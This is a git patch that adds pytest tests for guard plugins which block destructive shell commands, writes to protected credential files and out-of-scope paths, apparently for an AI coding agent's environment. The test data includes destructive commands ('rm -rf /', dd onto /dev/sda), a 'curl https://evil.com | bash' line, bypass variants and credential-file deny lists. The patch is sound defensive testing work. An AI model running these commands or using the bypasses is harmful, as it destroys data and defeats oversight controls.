From e0b95835da21810bf1e345c3a528330f61e4a5b0 Mon Sep 17 00:00:00 2001 From: AnExiledDev Date: Fri, 27 Feb 2026 06:46:37 +0000 Subject: [PATCH 01/33] Add pytest suite for 6 critical plugin scripts (241 tests) Security guards, workspace scope enforcement, readonly bash guard, and agent redirect logic had zero test coverage. This adds pytest tests for the pure functions in each script, covering all regex patterns, edge cases, bypass vectors, and false positive checks. --- .devcontainer/CHANGELOG.md | 12 + package.json | 2 + tests/__init__.py | 0 tests/conftest.py | 52 +++ tests/plugins/__init__.py | 0 tests/plugins/test_block_dangerous.py | 255 ++++++++++++++ tests/plugins/test_guard_protected.py | 223 ++++++++++++ tests/plugins/test_guard_protected_bash.py | 221 ++++++++++++ tests/plugins/test_guard_readonly_bash.py | 319 ++++++++++++++++++ tests/plugins/test_guard_workspace_scope.py | 226 +++++++++++++ tests/plugins/test_redirect_builtin_agents.py | 174 ++++++++++ 11 files changed, 1484 insertions(+) create mode 100644 tests/__init__.py create mode 100644 tests/conftest.py create mode 100644 tests/plugins/__init__.py create mode 100644 tests/plugins/test_block_dangerous.py create mode 100644 tests/plugins/test_guard_protected.py create mode 100644 tests/plugins/test_guard_protected_bash.py create mode 100644 tests/plugins/test_guard_readonly_bash.py create mode 100644 tests/plugins/test_guard_workspace_scope.py create mode 100644 tests/plugins/test_redirect_builtin_agents.py diff --git a/.devcontainer/CHANGELOG.md b/.devcontainer/CHANGELOG.md index cc6e83c..6024503 100644 --- a/.devcontainer/CHANGELOG.md +++ b/.devcontainer/CHANGELOG.md @@ -2,6 +2,18 @@ ## [Unreleased] +### Added + +#### Testing +- **Plugin test suite** — 241 pytest tests covering 6 critical plugin scripts that previously had zero tests: + - `block-dangerous.py` (46 tests) — all 22 dangerous command patterns with positive/negative/edge cases + - `guard-workspace-scope.py` (40 tests) — blacklist, scope, allowlist, bash enforcement layers, primary command extraction + - `guard-protected.py` (55 tests) — all protected file patterns (secrets, locks, keys, credentials, auth dirs) + - `guard-protected-bash.py` (24 tests) — write target extraction and protected path integration + - `guard-readonly-bash.py` (63 tests) — general-readonly and git-readonly modes, bypass prevention + - `redirect-builtin-agents.py` (13 tests) — redirect mapping, passthrough, output structure +- Added `test:plugins` and `test:all` npm scripts for running plugin tests + ### Changed #### Port Forwarding diff --git a/package.json b/package.json index 4fc2eb3..6a78702 100644 --- a/package.json +++ b/package.json @@ -8,6 +8,8 @@ }, "scripts": { "test": "node test.js", + "test:plugins": "pytest tests/ -v", + "test:all": "npm test && pytest tests/ -v", "prepublishOnly": "npm test", "docs:dev": "npm run dev --prefix docs", "docs:build": "npm run build --prefix docs", diff --git a/tests/__init__.py b/tests/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/tests/conftest.py b/tests/conftest.py new file mode 100644 index 0000000..d800ea3 --- /dev/null +++ b/tests/conftest.py @@ -0,0 +1,52 @@ +"""Conftest for plugin tests. + +Loads plugin scripts by absolute path since they don't have package structure. +Each module is loaded once and cached by importlib. +""" + +import importlib.util +from pathlib import Path + +# Root of the plugin scripts +PLUGINS_ROOT = ( + Path(__file__).resolve().parent.parent + / ".devcontainer" + / "plugins" + / "devs-marketplace" + / "plugins" +) + + +def _load_script(plugin_name: str, script_name: str): + """Load a plugin script as a Python module. + + Args: + plugin_name: Plugin directory name (e.g. "dangerous-command-blocker") + script_name: Script filename (e.g. "block-dangerous.py") + + Returns: + The loaded module. + """ + script_path = PLUGINS_ROOT / plugin_name / "scripts" / script_name + if not script_path.exists(): + raise FileNotFoundError(f"Plugin script not found: {script_path}") + + # Convert filename to valid module name + module_name = script_name.replace("-", "_").replace(".py", "") + spec = importlib.util.spec_from_file_location(module_name, script_path) + module = importlib.util.module_from_spec(spec) + + spec.loader.exec_module(module) + + return module + + +# Pre-load all tested plugin modules +block_dangerous = _load_script("dangerous-command-blocker", "block-dangerous.py") +guard_workspace_scope = _load_script( + "workspace-scope-guard", "guard-workspace-scope.py" +) +guard_protected = _load_script("protected-files-guard", "guard-protected.py") +guard_protected_bash = _load_script("protected-files-guard", "guard-protected-bash.py") +guard_readonly_bash = _load_script("agent-system", "guard-readonly-bash.py") +redirect_builtin_agents = _load_script("agent-system", "redirect-builtin-agents.py") diff --git a/tests/plugins/__init__.py b/tests/plugins/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/tests/plugins/test_block_dangerous.py b/tests/plugins/test_block_dangerous.py new file mode 100644 index 0000000..dce591b --- /dev/null +++ b/tests/plugins/test_block_dangerous.py @@ -0,0 +1,255 @@ +"""Tests for the dangerous-command-blocker plugin. + +Verifies that check_command() correctly identifies dangerous shell commands +and allows safe commands through without false positives. +""" + +import pytest + +from tests.conftest import block_dangerous + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +def assert_blocked(command: str, *, substr: str | None = None) -> None: + """Assert the command is blocked, optionally checking the message.""" + is_dangerous, message = block_dangerous.check_command(command) + assert is_dangerous is True, f"Expected blocked: {command!r}" + assert message, f"Blocked command should have a message: {command!r}" + if substr: + assert substr.lower() in message.lower(), ( + f"Expected {substr!r} in message {message!r}" + ) + + +def assert_allowed(command: str) -> None: + """Assert the command is allowed (not dangerous).""" + is_dangerous, message = block_dangerous.check_command(command) + assert is_dangerous is False, f"Expected allowed: {command!r} (got: {message})" + assert message == "", f"Allowed command should have empty message: {command!r}" + + +# --------------------------------------------------------------------------- +# 1. Destructive rm patterns +# --------------------------------------------------------------------------- + + +class TestDestructiveRm: + @pytest.mark.parametrize( + "cmd", + [ + "rm -rf /", + "rm -rf ~", + "rm -rf ../", + "rm -fr /", + "rm -rfi /", + ], + ) + def test_rm_rf_dangerous_paths(self, cmd: str) -> None: + assert_blocked(cmd, substr="rm") + + +# --------------------------------------------------------------------------- +# 2. sudo rm +# --------------------------------------------------------------------------- + + +class TestSudoRm: + @pytest.mark.parametrize( + "cmd", + [ + "sudo rm file.txt", + "sudo rm -rf /var", + "sudo rm -r dir", + ], + ) + def test_sudo_rm_blocked(self, cmd: str) -> None: + assert_blocked(cmd, substr="sudo rm") + + +# --------------------------------------------------------------------------- +# 3. chmod 777 +# --------------------------------------------------------------------------- + + +class TestChmod777: + @pytest.mark.parametrize( + "cmd", + [ + "chmod 777 file.txt", + "chmod -R 777 /var/www", + "chmod 777 .", + ], + ) + def test_chmod_777_blocked(self, cmd: str) -> None: + assert_blocked(cmd, substr="chmod 777") + + +# --------------------------------------------------------------------------- +# 4. Force push to main/master +# --------------------------------------------------------------------------- + + +class TestForcePush: + @pytest.mark.parametrize( + "cmd", + [ + "git push --force origin main", + "git push -f origin master", + "git push --force origin master", + "git push -f origin main", + ], + ) + def test_force_push_to_main_master(self, cmd: str) -> None: + assert_blocked(cmd, substr="force push") + + @pytest.mark.parametrize( + "cmd", + [ + "git push -f", + "git push --force", + ], + ) + def test_bare_force_push(self, cmd: str) -> None: + assert_blocked(cmd, substr="bare force push") + + +# --------------------------------------------------------------------------- +# 5. System directory writes +# --------------------------------------------------------------------------- + + +class TestSystemDirectoryWrites: + @pytest.mark.parametrize( + "cmd,dir_name", + [ + ("> /usr/foo", "/usr"), + ("> /etc/foo", "/etc"), + ("> /bin/foo", "/bin"), + ("> /sbin/foo", "/sbin"), + ], + ) + def test_redirect_to_system_dir(self, cmd: str, dir_name: str) -> None: + assert_blocked(cmd, substr=dir_name) + + +# --------------------------------------------------------------------------- +# 6. Disk operations +# --------------------------------------------------------------------------- + + +class TestDiskOperations: + def test_mkfs(self) -> None: + assert_blocked("mkfs.ext4 /dev/sda1", substr="disk formatting") + + def test_dd_to_device(self) -> None: + assert_blocked("dd if=/dev/zero of=/dev/sda bs=1M", substr="dd") + + +# --------------------------------------------------------------------------- +# 7. Git history destruction +# --------------------------------------------------------------------------- + + +class TestGitHistoryDestruction: + def test_git_reset_hard_origin_main(self) -> None: + assert_blocked("git reset --hard origin/main", substr="hard reset") + + def test_git_reset_hard_origin_master(self) -> None: + assert_blocked("git reset --hard origin/master", substr="hard reset") + + @pytest.mark.parametrize( + "cmd", + [ + "git clean -f", + "git clean -fd", + "git clean -fdx", + ], + ) + def test_git_clean_blocked(self, cmd: str) -> None: + assert_blocked(cmd, substr="git clean") + + +# --------------------------------------------------------------------------- +# 8. Docker dangerous operations +# --------------------------------------------------------------------------- + + +class TestDockerDangerous: + def test_docker_run_privileged(self) -> None: + assert_blocked("docker run --privileged ubuntu", substr="privileged") + + def test_docker_run_mount_root(self) -> None: + assert_blocked("docker run -v /:/host ubuntu", substr="root filesystem") + + @pytest.mark.parametrize( + "cmd", + [ + "docker stop my-container", + "docker rm my-container", + "docker kill my-container", + "docker rmi my-image", + ], + ) + def test_docker_destructive_ops(self, cmd: str) -> None: + assert_blocked(cmd, substr="docker operation") + + +# --------------------------------------------------------------------------- +# 9. Find delete +# --------------------------------------------------------------------------- + + +class TestFindDelete: + def test_find_exec_rm(self) -> None: + assert_blocked("find . -exec rm {} \\;", substr="find") + + def test_find_delete(self) -> None: + assert_blocked("find /tmp -name '*.log' -delete", substr="find") + + +# --------------------------------------------------------------------------- +# 10. Safe commands (false positive checks) +# --------------------------------------------------------------------------- + + +class TestSafeCommands: + @pytest.mark.parametrize( + "cmd", + [ + "rm file.txt", + "git push origin feature-branch", + "chmod 644 file", + "docker ps", + "docker logs container", + "ls /usr/bin", + "cat /etc/hosts", + "echo hello", + "git status", + ], + ) + def test_safe_commands_allowed(self, cmd: str) -> None: + assert_allowed(cmd) + + +# --------------------------------------------------------------------------- +# Known source bugs (documented, asserting current behavior) +# --------------------------------------------------------------------------- + + +class TestKnownSourceBugs: + def test_force_with_lease_false_positive(self) -> None: + """BUG: --force-with-lease is safe but blocked because the regex + \\bgit\\s+push\\s+--force\\b matches the '--force' prefix in + '--force-with-lease' (\\b fires at the 'e'/'-' boundary). + + This test documents the current (incorrect) behavior. If the source + is fixed, update this test to use assert_allowed(). + """ + assert_blocked( + "git push --force-with-lease origin feature", + substr="force push", + ) diff --git a/tests/plugins/test_guard_protected.py b/tests/plugins/test_guard_protected.py new file mode 100644 index 0000000..379a2e8 --- /dev/null +++ b/tests/plugins/test_guard_protected.py @@ -0,0 +1,223 @@ +"""Tests for the protected-files-guard plugin (guard-protected.py). + +Validates that check_path correctly identifies protected file paths +and allows safe paths through. +""" + +import pytest + +from tests.conftest import guard_protected + + +# --------------------------------------------------------------------------- +# Helper +# --------------------------------------------------------------------------- + + +def assert_protected(file_path: str) -> None: + """Assert path is blocked and returns a non-empty message.""" + is_protected, message = guard_protected.check_path(file_path) + assert is_protected is True, f"Expected {file_path!r} to be protected" + assert message, f"Expected non-empty message for {file_path!r}" + + +def assert_safe(file_path: str) -> None: + """Assert path is allowed and returns an empty message.""" + is_protected, message = guard_protected.check_path(file_path) + assert is_protected is False, f"Expected {file_path!r} to be safe, got: {message}" + assert message == "", f"Expected empty message for safe path {file_path!r}" + + +# --------------------------------------------------------------------------- +# Environment files +# --------------------------------------------------------------------------- + + +class TestEnvFiles: + @pytest.mark.parametrize( + "path", + [ + ".env", + ".env.local", + ".env.production", + "path/to/.env", + "path/to/.env.local", + ], + ) + def test_env_files_are_protected(self, path: str) -> None: + assert_protected(path) + + +# --------------------------------------------------------------------------- +# Git internals +# --------------------------------------------------------------------------- + + +class TestGitInternals: + @pytest.mark.parametrize( + "path", + [ + ".git", + ".git/config", + "path/.git/hooks/pre-commit", + ], + ) + def test_git_paths_are_protected(self, path: str) -> None: + assert_protected(path) + + +# --------------------------------------------------------------------------- +# Lock files +# --------------------------------------------------------------------------- + + +class TestLockFiles: + @pytest.mark.parametrize( + "path", + [ + "package-lock.json", + "yarn.lock", + "pnpm-lock.yaml", + "Gemfile.lock", + "poetry.lock", + "Cargo.lock", + "composer.lock", + "uv.lock", + ], + ) + def test_lock_files_are_protected(self, path: str) -> None: + assert_protected(path) + + @pytest.mark.parametrize( + "path", + [ + "subdir/package-lock.json", + "deep/nested/yarn.lock", + "path/to/pnpm-lock.yaml", + "vendor/Gemfile.lock", + "libs/poetry.lock", + "crates/Cargo.lock", + "deps/composer.lock", + "project/uv.lock", + ], + ) + def test_lock_files_with_prefix_are_protected(self, path: str) -> None: + assert_protected(path) + + +# --------------------------------------------------------------------------- +# Certificates and keys +# --------------------------------------------------------------------------- + + +class TestCertificatesAndKeys: + @pytest.mark.parametrize( + "path", + [ + "server.pem", + "private.key", + "cert.crt", + "store.p12", + "cert.pfx", + ], + ) + def test_cert_key_files_are_protected(self, path: str) -> None: + assert_protected(path) + + +# --------------------------------------------------------------------------- +# Credential files +# --------------------------------------------------------------------------- + + +class TestCredentialFiles: + @pytest.mark.parametrize( + "path", + [ + "credentials.json", + ".credentials.json", + "secrets.yaml", + "secrets.yml", + "secrets.json", + ".secrets", + ], + ) + def test_credential_files_are_protected(self, path: str) -> None: + assert_protected(path) + + +# --------------------------------------------------------------------------- +# Auth directories and SSH keys +# --------------------------------------------------------------------------- + + +class TestAuthDirectories: + @pytest.mark.parametrize( + "path", + [ + ".ssh/id_rsa", + ".aws/credentials", + ".netrc", + ".npmrc", + ".pypirc", + ], + ) + def test_auth_paths_are_protected(self, path: str) -> None: + assert_protected(path) + + +class TestSSHKeys: + @pytest.mark.parametrize( + "path", + [ + "id_rsa", + "id_rsa.pub", + "id_ed25519", + "id_ecdsa", + ], + ) + def test_ssh_key_files_are_protected(self, path: str) -> None: + assert_protected(path) + + +# --------------------------------------------------------------------------- +# Safe paths (false-positive checks) +# --------------------------------------------------------------------------- + + +class TestSafePaths: + @pytest.mark.parametrize( + "path", + [ + "src/app.py", + "README.md", + "package.json", + ".envrc", + "config/settings.json", + ".github/workflows/ci.yml", + "src/env.ts", + "lock.js", + ], + ) + def test_safe_paths_are_not_blocked(self, path: str) -> None: + assert_safe(path) + + +# --------------------------------------------------------------------------- +# Edge cases +# --------------------------------------------------------------------------- + + +class TestEdgeCases: + def test_windows_backslash_path(self) -> None: + assert_protected("path\\.env") + + @pytest.mark.parametrize( + "path", + [ + ".ENV", + "SECRETS.YAML", + ], + ) + def test_case_insensitive_matching(self, path: str) -> None: + assert_protected(path) diff --git a/tests/plugins/test_guard_protected_bash.py b/tests/plugins/test_guard_protected_bash.py new file mode 100644 index 0000000..37294ba --- /dev/null +++ b/tests/plugins/test_guard_protected_bash.py @@ -0,0 +1,221 @@ +"""Tests for the protected-files-guard bash command blocker. + +Validates extract_write_targets (regex-based write target extraction from bash +commands) and check_path (protected pattern matching), plus integration of both. + +Known source bugs (documented, not worked around): + - BUG: append redirect (>>) is not correctly parsed. The regex ``(?:>|>>)`` + matches ``>`` first (greedy alternation), so ``echo x >> file.txt`` + captures ``>`` (the second character) as the "file path" instead of + ``file.txt``. See guard-protected-bash.py:61. + - BUG: ``cat > file.txt`` matches both the generic redirect pattern and + the cat-specific pattern, producing duplicate entries in the target list. + See guard-protected-bash.py:61,69. +""" + +import pytest + +from tests.conftest import guard_protected_bash + + +# --------------------------------------------------------------------------- +# extract_write_targets — redirect operators +# --------------------------------------------------------------------------- + + +class TestExtractWriteTargetsRedirects: + """Redirect operators: >, >>""" + + def test_overwrite_redirect_extracts_target(self): + assert guard_protected_bash.extract_write_targets("echo x > file.txt") == [ + "file.txt" + ] + + def test_append_redirect_has_regex_bug(self): + """BUG: >> is parsed as > followed by >filename. + + The regex alternation ``(?:>|>>)`` matches the first ``>`` greedily, + so ``>>`` is never reached. The captured "target" is ``>`` (the + second character), not the actual filename. + """ + result = guard_protected_bash.extract_write_targets("echo x >> file.txt") + # Actual (buggy) behavior — the second > is captured as the target + assert result == [">"] + + +# --------------------------------------------------------------------------- +# extract_write_targets — tee +# --------------------------------------------------------------------------- + + +class TestExtractWriteTargetsTee: + """tee and tee -a""" + + @pytest.mark.parametrize( + "command, expected", + [ + ("echo x | tee file.txt", ["file.txt"]), + ("echo x | tee -a file.txt", ["file.txt"]), + ], + ids=["tee-overwrite", "tee-append"], + ) + def test_tee_extracts_target(self, command, expected): + assert guard_protected_bash.extract_write_targets(command) == expected + + +# --------------------------------------------------------------------------- +# extract_write_targets — cp / mv +# --------------------------------------------------------------------------- + + +class TestExtractWriteTargetsCpMv: + """cp and mv commands extract the destination path.""" + + @pytest.mark.parametrize( + "command, expected", + [ + ("cp src dest", ["dest"]), + ("mv src dest", ["dest"]), + ("cp -r src dest", ["dest"]), + ], + ids=["cp", "mv", "cp-recursive"], + ) + def test_cp_mv_extracts_destination(self, command, expected): + assert guard_protected_bash.extract_write_targets(command) == expected + + +# --------------------------------------------------------------------------- +# extract_write_targets — sed -i +# --------------------------------------------------------------------------- + + +class TestExtractWriteTargetsSed: + """sed in-place edit variants.""" + + @pytest.mark.parametrize( + "command, expected", + [ + ("sed -i 's/old/new/' file.txt", ["file.txt"]), + ("sed -i'' 's/old/new/' file.txt", ["file.txt"]), + ], + ids=["sed-i-space", "sed-i-empty-suffix"], + ) + def test_sed_inplace_extracts_target(self, command, expected): + assert guard_protected_bash.extract_write_targets(command) == expected + + +# --------------------------------------------------------------------------- +# extract_write_targets — cat / heredoc +# --------------------------------------------------------------------------- + + +class TestExtractWriteTargetsCatHeredoc: + """cat redirect and heredoc style writes.""" + + @pytest.mark.parametrize( + "command", + [ + "cat > file.txt", + "cat < file.txt", + ], + ids=["cat-redirect", "cat-heredoc-redirect"], + ) + def test_cat_heredoc_extracts_target_with_duplicates(self, command): + """BUG: Both the generic redirect pattern and the cat-specific pattern + match, producing duplicate entries. Functionally harmless — the + correct path is still present and checked — but the list is not + deduplicated. + """ + result = guard_protected_bash.extract_write_targets(command) + assert result == ["file.txt", "file.txt"] + + +# --------------------------------------------------------------------------- +# extract_write_targets — no write targets +# --------------------------------------------------------------------------- + + +class TestExtractWriteTargetsNoTargets: + """Commands that do not write to any file.""" + + @pytest.mark.parametrize( + "command", + [ + "ls -la", + "echo hello", + "git status", + ], + ids=["ls", "echo", "git-status"], + ) + def test_read_only_commands_return_empty(self, command): + assert guard_protected_bash.extract_write_targets(command) == [] + + +# --------------------------------------------------------------------------- +# Integration: blocked bash writes to protected files +# --------------------------------------------------------------------------- + + +class TestBlockedBashWrites: + """Commands that write to protected files must be detected and blocked.""" + + @pytest.mark.parametrize( + "command, blocked_path", + [ + ('echo "SECRET=x" > .env', ".env"), + ("cp backup .env.local", ".env.local"), + ("tee secrets.yaml", "secrets.yaml"), + ("sed -i 's/x/y/' package-lock.json", "package-lock.json"), + ("cat > .ssh/config", ".ssh/config"), + ("mv old credentials.json", "credentials.json"), + ], + ids=[ + "redirect-to-env", + "cp-to-env-local", + "tee-to-secrets-yaml", + "sed-to-package-lock", + "cat-to-ssh-config", + "mv-to-credentials", + ], + ) + def test_protected_file_write_is_blocked(self, command, blocked_path): + targets = guard_protected_bash.extract_write_targets(command) + assert blocked_path in targets, ( + f"Expected '{blocked_path}' in extracted targets {targets}" + ) + is_protected, message = guard_protected_bash.check_path(blocked_path) + assert is_protected is True + assert message != "" + + +# --------------------------------------------------------------------------- +# Integration: allowed bash writes to non-protected files +# --------------------------------------------------------------------------- + + +class TestAllowedBashWrites: + """Commands that write to ordinary files must not be blocked.""" + + @pytest.mark.parametrize( + "command, allowed_path", + [ + ("echo x > output.txt", "output.txt"), + ("cp src.py dest.py", "dest.py"), + ("tee build.log", "build.log"), + ("sed -i 's/x/y/' app.py", "app.py"), + ], + ids=[ + "redirect-to-txt", + "cp-to-py", + "tee-to-log", + "sed-to-py", + ], + ) + def test_non_protected_file_write_is_allowed(self, command, allowed_path): + targets = guard_protected_bash.extract_write_targets(command) + assert allowed_path in targets, ( + f"Expected '{allowed_path}' in extracted targets {targets}" + ) + is_protected, message = guard_protected_bash.check_path(allowed_path) + assert is_protected is False + assert message == "" diff --git a/tests/plugins/test_guard_readonly_bash.py b/tests/plugins/test_guard_readonly_bash.py new file mode 100644 index 0000000..a63af3f --- /dev/null +++ b/tests/plugins/test_guard_readonly_bash.py @@ -0,0 +1,319 @@ +"""Tests for the read-only bash guard plugin (guard-readonly-bash.py). + +Verifies that check_general_readonly() and check_git_readonly() correctly +block write operations and allow read-only commands through. +""" + +import pytest + +from tests.conftest import guard_readonly_bash + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +def assert_blocked(result: str | None, command: str) -> None: + """Assert the command was blocked (non-None result).""" + assert result is not None, f"Expected blocked: {command!r}" + assert "Blocked" in result, f"Message should contain 'Blocked': {result!r}" + + +def assert_allowed(result: str | None, command: str) -> None: + """Assert the command was allowed (None result).""" + assert result is None, f"Expected allowed: {command!r}, got: {result!r}" + + +# --------------------------------------------------------------------------- +# 1. _split_segments +# --------------------------------------------------------------------------- + + +class TestSplitSegments: + def test_semicolon_split(self) -> None: + assert guard_readonly_bash._split_segments("ls; echo hi") == ["ls", "echo hi"] + + def test_chained_operators(self) -> None: + result = guard_readonly_bash._split_segments("cmd1 && cmd2 || cmd3") + assert result == ["cmd1", "cmd2", "cmd3"] + + def test_single_command(self) -> None: + assert guard_readonly_bash._split_segments("single command") == [ + "single command" + ] + + +# --------------------------------------------------------------------------- +# 2. _split_pipes +# --------------------------------------------------------------------------- + + +class TestSplitPipes: + def test_pipe_split(self) -> None: + result = guard_readonly_bash._split_pipes("cat file | grep pattern | wc -l") + assert result == ["cat file", "grep pattern", "wc -l"] + + def test_double_pipe_not_split(self) -> None: + result = guard_readonly_bash._split_pipes("cmd1 || cmd2") + assert result == ["cmd1 || cmd2"] + + +# --------------------------------------------------------------------------- +# 3. _base_name +# --------------------------------------------------------------------------- + + +class TestBaseName: + def test_path_prefix(self) -> None: + assert guard_readonly_bash._base_name("/usr/bin/rm") == "rm" + + def test_backslash_prefix(self) -> None: + assert guard_readonly_bash._base_name("\\rm") == "rm" + + def test_plain_command(self) -> None: + assert guard_readonly_bash._base_name("ls") == "ls" + + +# --------------------------------------------------------------------------- +# 4. _has_redirect +# --------------------------------------------------------------------------- + + +class TestHasRedirect: + @pytest.mark.parametrize( + "cmd", + [ + "echo x > file", + "echo x >> file", + ], + ) + def test_redirect_detected(self, cmd: str) -> None: + assert guard_readonly_bash._has_redirect(cmd) is True + + @pytest.mark.parametrize( + "cmd", + [ + "echo x > /dev/null", + "echo x 2>/dev/null", + "cat file", + ], + ) + def test_no_redirect(self, cmd: str) -> None: + assert guard_readonly_bash._has_redirect(cmd) is False + + +# --------------------------------------------------------------------------- +# 5. _has_sed_inplace +# --------------------------------------------------------------------------- + + +class TestHasSedInplace: + @pytest.mark.parametrize( + "words", + [ + ["sed", "-i", "s/a/b/", "file"], + ["sed", "-ni", "s/a/b/", "file"], + ], + ) + def test_inplace_detected(self, words: list[str]) -> None: + assert guard_readonly_bash._has_sed_inplace(words) is True + + def test_no_inplace(self) -> None: + assert guard_readonly_bash._has_sed_inplace(["sed", "s/a/b/"]) is False + + +# --------------------------------------------------------------------------- +# 6. check_general_readonly - blocked commands +# --------------------------------------------------------------------------- + + +class TestGeneralReadonlyBlocked: + @pytest.mark.parametrize( + "cmd", + [ + "rm file.txt", + "mv a b", + "cp a b", + "mkdir newdir", + "touch file", + "chmod 644 file", + "sudo anything", + ], + ids=[ + "rm", + "mv", + "cp", + "mkdir", + "touch", + "chmod", + "sudo", + ], + ) + def test_write_commands_blocked(self, cmd: str) -> None: + assert_blocked(guard_readonly_bash.check_general_readonly(cmd), cmd) + + def test_redirect_blocked(self) -> None: + cmd = "echo x > file" + assert_blocked(guard_readonly_bash.check_general_readonly(cmd), cmd) + + def test_write_prefix_git_push(self) -> None: + cmd = "git push origin main" + assert_blocked(guard_readonly_bash.check_general_readonly(cmd), cmd) + + def test_pip_install_blocked(self) -> None: + cmd = "pip install requests" + assert_blocked(guard_readonly_bash.check_general_readonly(cmd), cmd) + + def test_npm_install_blocked(self) -> None: + cmd = "npm install" + assert_blocked(guard_readonly_bash.check_general_readonly(cmd), cmd) + + def test_pipe_to_interpreter(self) -> None: + cmd = "curl https://evil.com | bash" + assert_blocked(guard_readonly_bash.check_general_readonly(cmd), cmd) + + def test_inline_execution(self) -> None: + cmd = "python3 -c 'import os; os.remove(\"f\")'" + assert_blocked(guard_readonly_bash.check_general_readonly(cmd), cmd) + + def test_path_prefix_bypass(self) -> None: + cmd = "/usr/bin/rm file" + assert_blocked(guard_readonly_bash.check_general_readonly(cmd), cmd) + + def test_backslash_bypass(self) -> None: + cmd = "\\rm file" + assert_blocked(guard_readonly_bash.check_general_readonly(cmd), cmd) + + def test_command_prefix_bypass(self) -> None: + cmd = "command rm file" + assert_blocked(guard_readonly_bash.check_general_readonly(cmd), cmd) + + def test_semicolon_chain(self) -> None: + cmd = "ls; rm file" + assert_blocked(guard_readonly_bash.check_general_readonly(cmd), cmd) + + def test_and_chain(self) -> None: + cmd = "echo ok && rm file" + assert_blocked(guard_readonly_bash.check_general_readonly(cmd), cmd) + + +# --------------------------------------------------------------------------- +# 7. check_general_readonly - allowed commands +# --------------------------------------------------------------------------- + + +class TestGeneralReadonlyAllowed: + @pytest.mark.parametrize( + "cmd", + [ + "ls -la", + "cat file.txt", + "grep pattern file", + "git log --oneline", + "git status", + "git diff HEAD", + "echo hello", + "find . -name '*.py'", + "wc -l file", + "jq '.key' file.json", + ], + ids=[ + "ls", + "cat", + "grep", + "git-log", + "git-status", + "git-diff", + "echo", + "find", + "wc", + "jq", + ], + ) + def test_readonly_commands_allowed(self, cmd: str) -> None: + assert_allowed(guard_readonly_bash.check_general_readonly(cmd), cmd) + + +# --------------------------------------------------------------------------- +# 8. check_git_readonly - blocked commands +# --------------------------------------------------------------------------- + + +class TestGitReadonlyBlocked: + @pytest.mark.parametrize( + "cmd", + [ + "git push origin main", + "git commit -m 'test'", + "git reset --hard HEAD", + ], + ids=[ + "push", + "commit", + "reset", + ], + ) + def test_write_subcommands_blocked(self, cmd: str) -> None: + assert_blocked(guard_readonly_bash.check_git_readonly(cmd), cmd) + + def test_branch_delete_blocked(self) -> None: + cmd = "git branch -D feature" + assert_blocked(guard_readonly_bash.check_git_readonly(cmd), cmd) + + def test_stash_drop_blocked(self) -> None: + cmd = "git stash drop" + assert_blocked(guard_readonly_bash.check_git_readonly(cmd), cmd) + + def test_config_without_get_blocked(self) -> None: + cmd = "git config user.name foo" + assert_blocked(guard_readonly_bash.check_git_readonly(cmd), cmd) + + def test_non_git_non_utility_blocked(self) -> None: + cmd = "rm file" + assert_blocked(guard_readonly_bash.check_git_readonly(cmd), cmd) + + def test_interpreter_blocked(self) -> None: + cmd = "python3 script.py" + assert_blocked(guard_readonly_bash.check_git_readonly(cmd), cmd) + + def test_sed_inplace_blocked(self) -> None: + cmd = "sed -i 's/a/b/' file" + assert_blocked(guard_readonly_bash.check_git_readonly(cmd), cmd) + + +# --------------------------------------------------------------------------- +# 9. check_git_readonly - allowed commands +# --------------------------------------------------------------------------- + + +class TestGitReadonlyAllowed: + @pytest.mark.parametrize( + "cmd", + [ + "git log --oneline -10", + "git blame file.py", + "git diff HEAD~1", + "git branch", + "git config --get user.name", + "git config --list", + "git stash list", + "cat file | grep pattern", + "git -C /path --no-pager log", + "sed 's/a/b/' file", + ], + ids=[ + "log", + "blame", + "diff", + "branch-list", + "config-get", + "config-list", + "stash-list", + "cat-pipe-grep", + "global-flags", + "sed-without-i", + ], + ) + def test_readonly_commands_allowed(self, cmd: str) -> None: + assert_allowed(guard_readonly_bash.check_git_readonly(cmd), cmd) diff --git a/tests/plugins/test_guard_workspace_scope.py b/tests/plugins/test_guard_workspace_scope.py new file mode 100644 index 0000000..ed37687 --- /dev/null +++ b/tests/plugins/test_guard_workspace_scope.py @@ -0,0 +1,226 @@ +"""Tests for workspace scope guard plugin. + +Covers: is_blacklisted, is_in_scope, is_allowlisted, get_target_path, + extract_primary_command, extract_write_targets, check_bash_scope. +""" + +from unittest.mock import patch + +import pytest + +from tests.conftest import guard_workspace_scope + + +# --------------------------------------------------------------------------- +# is_blacklisted +# --------------------------------------------------------------------------- +class TestIsBlacklisted: + @pytest.mark.parametrize( + "path, expected", + [ + ("/workspaces/.devcontainer", True), + ("/workspaces/.devcontainer/scripts/setup.sh", True), + ("/workspaces/myproject/src/app.py", False), + ("/workspaces", False), + ], + ids=[ + "exact_devcontainer_dir", + "file_inside_devcontainer", + "project_source_file", + "workspaces_root", + ], + ) + def test_blacklisted(self, path, expected): + assert guard_workspace_scope.is_blacklisted(path) is expected + + +# --------------------------------------------------------------------------- +# is_in_scope +# --------------------------------------------------------------------------- +class TestIsInScope: + @pytest.mark.parametrize( + "resolved_path, cwd, expected", + [ + ("/workspaces/proj/src/app.py", "/workspaces/proj", True), + ("/workspaces/proj", "/workspaces/proj", True), + ("/workspaces/other/file", "/workspaces/proj", False), + ("/workspaces/project-foo", "/workspaces/project", False), + ("/tmp/scratch", "/workspaces/proj", False), + ], + ids=[ + "file_inside_cwd", + "exact_match_cwd", + "different_project", + "prefix_trap", + "tmp_outside_scope", + ], + ) + def test_in_scope(self, resolved_path, cwd, expected): + assert guard_workspace_scope.is_in_scope(resolved_path, cwd) is expected + + +# --------------------------------------------------------------------------- +# is_allowlisted +# --------------------------------------------------------------------------- +class TestIsAllowlisted: + @pytest.mark.parametrize( + "path, expected", + [ + ("/home/vscode/.claude/rules/foo.md", True), + ("/tmp/scratch.txt", True), + ("/workspaces/proj/file", False), + ("/home/vscode/.ssh/id_rsa", False), + ], + ids=[ + "claude_config_dir", + "tmp_file", + "project_file", + "ssh_key", + ], + ) + def test_allowlisted(self, path, expected): + assert guard_workspace_scope.is_allowlisted(path) is expected + + +# --------------------------------------------------------------------------- +# get_target_path +# --------------------------------------------------------------------------- +class TestGetTargetPath: + @pytest.mark.parametrize( + "tool_name, tool_input, expected", + [ + ("Read", {"file_path": "/foo/bar"}, "/foo/bar"), + ("Write", {"file_path": "/foo/bar"}, "/foo/bar"), + ("Edit", 